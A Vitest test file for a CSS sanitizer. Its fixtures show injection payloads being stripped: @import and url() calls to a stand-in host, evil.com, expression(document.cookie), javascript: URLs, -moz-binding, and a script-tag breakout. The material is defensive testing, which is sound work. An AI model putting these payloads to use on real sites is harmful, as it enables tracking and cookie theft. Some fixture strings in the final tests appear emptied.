import { describe, it, expect } from "vitest"; import { sanitizeCssOverrides, sanitizeCss } from "../index.js"; // ─── sanitizeCssOverrides ──────────────────────────────────────────────────── describe("sanitizeCssOverrides", () => { // ── Safe passthrough ────────────────────────────────────────────────────── it("passes through safe CSS unchanged (structurally)", () => { const css = ".btn { color: var(--color-primary); font-weight: bold; }"; const { css: result, warnings } = sanitizeCssOverrides(css); expect(warnings).toHaveLength(0); // Should contain the key property (generated CSS may vary in whitespace) expect(result).toContain("color:var(--color-primary)"); expect(result).toContain("font-weight:bold"); }); it("allows relative url() paths", () => { const css = ".hero { background: url('/static/img/bg.png'); }"; const { css: result, warnings } = sanitizeCssOverrides(css); expect(warnings).toHaveLength(0); expect(result).toContain("url("); }); it("allows @keyframes rules", () => { const css = "@keyframes fade { from { opacity: 0; } to { opacity: 1; } }"; const { css: result, warnings } = sanitizeCssOverrides(css); expect(warnings).toHaveLength(0); expect(result).toContain("opacity"); }); it("allows @media rules", () => { const css = "@media (max-width: 768px) { body { color: red; } }"; const { css: result, warnings } = sanitizeCssOverrides(css); expect(warnings).toHaveLength(0); expect(result).toContain("color:red"); }); it("allows @font-face with relative src", () => { const css = "@font-face { font-family: MyFont; src: url('/fonts/myfont.woff2'); }"; const { css: result, warnings } = sanitizeCssOverrides(css); expect(warnings).toHaveLength(0); expect(result).toContain("font-family"); }); it("returns empty string and no warnings for empty input", () => { expect(sanitizeCssOverrides("")).toEqual({ css: "", warnings: [] }); expect(sanitizeCssOverrides(" ")).toEqual({ css: "", warnings: [] }); }); // ── @import ─────────────────────────────────────────────────────────────── it("strips @import with url()", () => { const { css, warnings } = sanitizeCssOverrides( '@import url("https://evil.com/steal.css");' ); expect(css).not.toContain("@import"); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("@import"))).toBe(true); }); it("strips @import with bare string", () => { const { css, warnings } = sanitizeCssOverrides( '@import "https://evil.com/steal.css";' ); expect(css).not.toContain("@import"); expect(warnings.some((w) => w.includes("@import"))).toBe(true); }); it("strips multiple @import rules", () => { const input = [ '@import "https://evil.com/a.css";', ".btn { color: red; }", '@import url("https://evil.com/b.css");', ].join("\n"); const { css, warnings } = sanitizeCssOverrides(input); expect(css).not.toContain("@import"); expect(css).toContain("color:red"); expect(warnings.filter((w) => w.includes("@import"))).toHaveLength(2); }); it("strips @IMPORT with uppercase obfuscation", () => { // CSS keywords are case-insensitive per spec. The sanitizer normalizes via // node.name.toLowerCase() before comparison, so @IMPORT is caught even if // css-tree preserves the original casing in the AST node name. const { css, warnings } = sanitizeCssOverrides( '@IMPORT "https://evil.com/steal.css";' ); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("@import"))).toBe(true); }); // ── external url() in declarations ─────────────────────────────────────── it("strips declarations with http:// url()", () => { const { css, warnings } = sanitizeCssOverrides( 'body { background: url("http://evil.com/track.gif"); }' ); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("background"))).toBe(true); }); it("strips declarations with https:// url()", () => { const { css, warnings } = sanitizeCssOverrides( "body { background-image: url(https://evil.com/steal.gif); }" ); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("background-image"))).toBe(true); }); it("strips declarations with protocol-relative // url()", () => { const { css, warnings } = sanitizeCssOverrides( "body { background: url(//evil.com/steal.gif); }" ); expect(css).not.toContain("evil.com"); expect(warnings.length).toBeGreaterThan(0); }); it("strips content: url() on pseudo-elements", () => { const { css, warnings } = sanitizeCssOverrides( ".el::before { content: url('https://evil.com/pixel.gif'); }" ); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("content"))).toBe(true); }); // ── data: URIs ──────────────────────────────────────────────────────────── it("strips declarations with data: URI", () => { const { css, warnings } = sanitizeCssOverrides( 'body { background: url("data:text/html,"); }' ); expect(css).not.toContain("data:"); expect(warnings.length).toBeGreaterThan(0); }); it("strips declarations with data: URI (unquoted)", () => { const { css, warnings } = sanitizeCssOverrides( "body { background: url(data:image/svg+xml;base64,PHN2Zy8+); }" ); expect(css).not.toContain("data:"); expect(warnings.length).toBeGreaterThan(0); }); // ── @font-face with external src ───────────────────────────────────────── it("strips @font-face with external https src", () => { const { css, warnings } = sanitizeCssOverrides( '@font-face { font-family: Evil; src: url("https://evil.com/font.woff2"); }' ); expect(css).not.toContain("@font-face"); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); }); it("strips @font-face with external http src", () => { const { css, warnings } = sanitizeCssOverrides( '@font-face { font-family: Evil; src: url("http://evil.com/font.woff2"); }' ); expect(css).not.toContain("@font-face"); expect(warnings.some((w) => w.includes("@font-face"))).toBe(true); }); // ── expression() ───────────────────────────────────────────────────────── it("strips declarations with expression()", () => { const { css, warnings } = sanitizeCssOverrides( "body { color: expression(document.cookie); }" ); expect(css).not.toContain("expression("); expect(css).not.toContain("document.cookie"); expect(warnings.some((w) => w.includes("color"))).toBe(true); }); it("strips declarations with expression() in width", () => { const { css, warnings } = sanitizeCssOverrides( "div { width: expression(alert(1)); }" ); expect(css).not.toContain("expression("); expect(warnings.some((w) => w.includes("width"))).toBe(true); }); it("strips EXPRESSION() with uppercase obfuscation", () => { // The sanitizer normalizes via inner.name.toLowerCase() before comparison, // so EXPRESSION() is caught regardless of how css-tree stores the function name. const { css, warnings } = sanitizeCssOverrides( "div { width: EXPRESSION(alert(1)); }" ); expect(css).not.toContain("EXPRESSION("); expect(css).not.toContain("alert("); expect(warnings.some((w) => w.includes("width"))).toBe(true); }); // ── dangerous properties ────────────────────────────────────────────────── it("strips -moz-binding property", () => { const { css, warnings } = sanitizeCssOverrides( 'body { -moz-binding: url("https://evil.com/xss.xml#xss"); }' ); expect(css).not.toContain("-moz-binding"); expect(css).not.toContain("evil.com"); expect(warnings.some((w) => w.includes("-moz-binding"))).toBe(true); }); it("strips behavior property", () => { const { css, warnings } = sanitizeCssOverrides( "body { behavior: url('evil.htc'); }" ); expect(css).not.toContain("behavior"); expect(warnings.some((w) => w.includes("behavior"))).toBe(true); }); it("strips -webkit-binding property", () => { const { css, warnings } = sanitizeCssOverrides( 'body { -webkit-binding: url("evil.xml"); }' ); expect(css).not.toContain("-webkit-binding"); expect(warnings.some((w) => w.includes("-webkit-binding"))).toBe(true); }); // ── javascript: URL ─────────────────────────────────────────────────────── it("strips declarations with javascript: URL", () => { const { css, warnings } = sanitizeCssOverrides( "body { background: url('javascript:alert(1)'); }" ); expect(css).not.toContain("javascript:"); expect(warnings.length).toBeGreaterThan(0); }); // ── mixed safe + unsafe ─────────────────────────────────────────────────── it("strips only the dangerous declarations, preserves safe ones", () => { const input = [ ".btn { color: red; }", 'body { background: url("https://evil.com/track.gif"); }', ".card { font-size: 14px; }", ].join("\n"); const { css, warnings } = sanitizeCssOverrides(input); expect(css).toContain("color:red"); expect(css).toContain("font-size:14px"); expect(css).not.toContain("evil.com"); expect(warnings).toHaveLength(1); }); it("strips unsafe inside @media but keeps the @media rule", () => { const input = ` @media (max-width: 768px) { body { background: url('https://evil.com/track.gif'); } .btn { color: red; } } `; const { css, warnings } = sanitizeCssOverrides(input); expect(css).toContain("@media"); expect(css).not.toContain("evil.com"); expect(css).toContain("color:red"); expect(warnings).toHaveLength(1); }); // ── warnings list ───────────────────────────────────────────────────────── it("returns a warning for each stripped construct", () => { const input = [ '@import "https://evil.com/a.css";', "body { background: url('https://evil.com/b.gif'); }", "body { color: expression(x); }", ].join("\n"); const { warnings } = sanitizeCssOverrides(input); expect(warnings).toHaveLength(3); }); // ── performance ─────────────────────────────────────────────────────────── it("sanitizes reasonable CSS in under 50ms", () => { // ~50 rules — a realistic CSS overrides block const rules = Array.from({ length: 50 }, (_, i) => `.class-${i} { color: var(--color-${i}); margin: ${i}px; }` ).join("\n"); const start = Date.now(); sanitizeCssOverrides(rules); expect(Date.now() - start).toBeLessThan(50); }); }); // ─── sanitizeCss (render-time wrapper) ─────────────────────────────────────── describe("sanitizeCss", () => { it("returns only the CSS string (no warnings object)", () => { const result = sanitizeCss(".btn { color: red; }"); expect(typeof result).toBe("string"); expect(result).toContain("color:red"); }); it("strips dangerous content and returns safe string", () => { const result = sanitizeCss('@import "https://evil.com/steal.css"; .ok { color: red; }'); expect(result).not.toContain("@import"); expect(result).toContain("color:red"); }); it("discards malformed CSS containing raw (parse error → fail closed)", () => { // Raw is invalid CSS syntax — css-tree's onParseError fires, // and the fail-closed policy discards the entire input for security. const result = sanitizeCss('body { color: red; } '); expect(result).not.toContain(""); expect(result).toBe(""); }); it("strips from CSS string literal values (HTML parser injection vector)", () => { // A CSS string literal containing is valid CSS that passes parsing. // Without post-processing, generate() reproduces it verbatim and the HTML // parser would end the that follows it stays as harmless // CSS text inside the style block and cannot execute. const result = sanitizeCss('.foo::before { content: ""; }'); expect(result).not.toContain("